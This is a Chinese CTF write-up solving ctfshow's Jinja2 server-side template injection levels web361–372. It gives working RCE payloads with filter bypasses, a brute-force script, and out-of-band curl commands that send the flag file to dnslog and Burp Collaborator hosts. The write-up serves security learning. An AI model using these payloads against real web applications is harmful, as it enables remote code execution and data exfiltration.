ctfshow-web-ssti

web361

hint:名字就是考点

好一个提示,原来指的是GET传参name……..

直接开试,存在ssti

Payload:

GET:
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

大概解析一下每部分:

  1. 前提就是{{ }}的包裹,这里是python环境的jinja2模板(按模板调整这个)。
  2. ''.__class__:从空字符中取它的类,此处回显:<class 'str'>,指的是内置的字符串类 str
  3. __bases__[0]:返回该对象继承的父类,这里[ ]内是索引,因为在使用__bases__时会返回它的所有直接继承的基类,此处回显(<class 'object'>,);同样的还有__mro__方法,只不过这个方法会返回该对象的所有父类,此处回显(<class 'str'>, <class 'object'>),我们需要找的是object类,故而使用索引来固定住这个类。当然也可以使用__base__方法(注意这个没有s),他只会返回直接继承的基类(一个类),只返回一个就不需要加索引了,个人认为还是上面俩好用。
  4. __subclasses__()[132]:获取当前类的所有子类,上面我们已经找到objec类了,这里实则返回的是object类中的所有子类,找到可以rce的子类(这里用的是os._wrap_close类),这个索引对应的就是被利用的子类的索引,当然,所有子类列表非常长,不好找索引,拷打ai出了个方便找子类的脚本:
# ssti_subclass_search.py

def main():
    # 输入所有子类(可以粘贴一大串)
    subclasses_str = input("请输入所有子类(用逗号分隔):\n")
    subclasses = [s.strip() for s in subclasses_str.split(',') if s.strip()]

    while True:
        keyword = input("请输入搜索关键字(输入 'exit' 退出):").strip()
        if keyword.lower() == 'exit':
            print("退出程序。")
            break

        found = False
        for idx, cls in enumerate(subclasses):
            if keyword.lower() in cls.lower():
                print(f"索引: {idx}  子类: {cls}")
                found = True

        if not found:
            print("未找到匹配的子类。")

if __name__ == "__main__":
    main()
  1. __init__.globals['popen']:取该类 __init__ 方法所在模块的全局变量字典,再从里边拿出 popen函数(用来执行shell命令的)。
  2. ('cat /flag').read()}}( )内内容是通过popen函数执行的shell命令,最后通过read()读取并打印出来。

web362

发现比较上题,数字被waf了,用其他方式绕过

Payload:

GET:
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

相比于上题,这里直接用了内建的builtins模块(内建模块包含了所有内置函数和常量)

第一个payload中的x是一个变量,通常在模板中未定义。当 Jinja2 遇到未定义的变量时,会返回 Undefined 对象。配合__init__会返回一个可以访问全局命名空间的对象。

第二个payload中的lipsum,就是一个直接获取全局命名空间的对象的函数。

web363

新增过滤了单双引号,可以用request.args.引入,就不需要引号了,用上题payload打一打

Payload:

GET:
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

web364

新增过滤了args,可以用request.values.代替(二者用法几乎一致,values多了引入表单数据的用法,效果一致)

也可以用request.cookies.代替,读取的是cookie中的数据

Payload:

GET:
?name={{x.__init__.__globals__[request.values.x1].eval(request.values.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
# 另解
GET:
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Headers:
Cookie: x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

新增过滤了[ ],可以利用__getitem__

__getitem__()绕过[]过滤

__getitem__() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。

用法:
__getitem__(1)->[1]

Payload:

GET:
?name={{x.__init__.__globals__.__getitem__(request.values.x1).eval(request.values.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

上面有方括号的Payload也可以此类推

web366

新增过滤了_,可以利用jinja2内置的过滤器来绕过

jinja2官方文档:

""|attr("__class__")相当于"".__class__所以lipsum|attr(request.cookies.a)相当于lipsum.__globals__

推荐用个少点_的payload

GET:
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag
->
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

web367

新增过滤了os,用get配合request.values.就可以让os外部输入进来。

Payload:

GET:
?name={{(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=cat /flag&b=__globals__&c=os

web368

新增过滤了{{ }},用{% %}绕过,注意需要加print()函数,因为{% %}是会执行,但是返回内容直接到服务器后端,不会回显到用户浏览器这边,需要加print()打印出来

Payload:

GET:
?name={%print(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()%}&a=cat /flag&b=__globals__&c=os

web369

request被过滤得考虑构造字符串了

这里转换成列表,再用列表的pop方法就可以成功得到某个字符

脚本:

import requests
url="http://7afa142a-3745-4151-aca6-aacd9970d8a1.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="__globals__" 
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])

Payload:

#目标payload
{% print(lipsum.__globals__.os.popen('cat /flag').read()) %}
# 因为前面的过滤仍然存在,高亮处都是需要绕过的
->
GET:
?name={% print(lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

其他payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

{% set po=dict(po=a,p=a)|join%}

  1. dict(o=oo, s=ss): 创建一个字典,其中键是 os,值分别是变量 ooss 的值。
  2. |join: 将字典的键连接成一个字符串。默认情况下,join 函数使用空字符串作为分隔符。

相当于是赋值再连接起来.

?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

这样就相当于:lipsum.__globals__['__builtins__'].open('/flag').read()

web370

可以用全角数字代替半角数字

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

Payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

貌似unicode字符也可以代替(需要环境有对应依赖)

٠١٢٣٤٥٦٧٨٩
𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡
𝟶𝟷𝟸𝟹𝟺𝟻𝟼𝟽𝟾
𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵

还有一种方法就是,利用length或者count来得到数字

{% set one=(dict(a=a)|join|length)%}
=>  one = 1
{% set two=(dict(aa=a))|join|length)%}
=>  one = 2
# count直接换length就行

可以尝试外带,利用length来构造

{% set z=dict()|length %}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,c,point,ccccccccc,cccc,point,cccccc,z,point,cc,ccc,ccccccc,maohao,cc,ccc,ccc,ccc,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

web371

无回显,可以尝试外带,利用全角字符

参考链接:https://na0h.cn/ctf/ctfshow/ctfshow-ssti#371-%E8%BF%87%E6%BB%A4print

?name=
{% set xh=(config|string|list).pop(𝟳𝟰) %}
{% set kg=(()|select|string|list).pop(𝟭𝟬) %}
{% set point=(config|string|list).pop(𝟭𝟵𝟭) %}
{% set mh=(config|string|list).pop(𝟭𝟰) %}
{% set xg=(config|string|list).pop(-𝟲𝟰) %}
{% set glob=(xh,xh,dict(globals=a)|join,xh,xh)|join() %}
{% set fxg=((lipsum|attr(glob))|string|list).pop(𝟲𝟰𝟯) %}
{% set geti=(xh,xh,dict(getitem=a)|join,xh,xh)|join() %}
{% set ox=dict(o=z,s=z)|join %}
{% set payload=(dict(curl=a)|join,kg,fxg,dict(cat=a)|join,kg,xg,dict(flag=a)|join,fxg,point,dict(aorcwf=a)|join,point,dict(dnslog=a)|join,point,dict(cn=a)|join)|join %}
{%if ((lipsum|attr(glob))|attr(geti)(ox)).popen(payload)%}na𝟬h{%endif%}

高亮处修改成dnslog得到的link即可

此处命令:curl `cat /flag`.gdfewr.dnslog.cn

也可以用bp的collaborator功能

?name={% set xh=(config|string|list).pop(𝟳𝟰) %}
{% set kg=(()|select|string|list).pop(𝟭𝟬) %}
{% set point=(config|string|list).pop(𝟭𝟵𝟭) %}
{% set mh=(config|string|list).pop(𝟭𝟰) %}
{% set xg=(config|string|list).pop(-𝟲𝟰) %}
{% set glob=(xh,xh,dict(globals=a)|join,xh,xh)|join() %}
{% set fxg=((lipsum|attr(glob))|string|list).pop(𝟲𝟰𝟯) %}
{% set geti=(xh,xh,dict(getitem=a)|join,xh,xh)|join() %}
{% set ox=dict(o=z,s=z)|join %}
{% set payload=(dict(curl=a)|join,kg,fxg,dict(cat=a)|join,kg,xg,dict(flag=a)|join,fxg,point,dict(rtodf6skoxsn0fd2ft85m8q5vw1npfd4=a)|join,point,dict(oastify=a)|join,point,dict(com=a)|join)|join %}
{%if ((lipsum|attr(glob))|attr(geti)(ox)).popen(payload)%}na𝟬h{%endif%}

注意数字换成全角即可

web372

一直用的都是length,上题打法继续即可:)

Payload:

?name=
{% set xh=(config|string|list).pop(𝟳𝟰) %}
{% set kg=(()|select|string|list).pop(𝟭𝟬) %}
{% set point=(config|string|list).pop(𝟭𝟵𝟭) %}
{% set mh=(config|string|list).pop(𝟭𝟰) %}
{% set xg=(config|string|list).pop(-𝟲𝟰) %}
{% set glob=(xh,xh,dict(globals=a)|join,xh,xh)|join() %}
{% set fxg=((lipsum|attr(glob))|string|list).pop(𝟲𝟰𝟯) %}
{% set geti=(xh,xh,dict(getitem=a)|join,xh,xh)|join() %}
{% set ox=dict(o=z,s=z)|join %}
{% set payload=(dict(curl=a)|join,kg,fxg,dict(cat=a)|join,kg,xg,dict(flag=a)|join,fxg,point,dict(kipisa=a)|join,point,dict(dnslog=a)|join,point,dict(cn=a)|join)|join %}
{%if ((lipsum|attr(glob))|attr(geti)(ox)).popen(payload)%}na𝟬h{%endif%}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇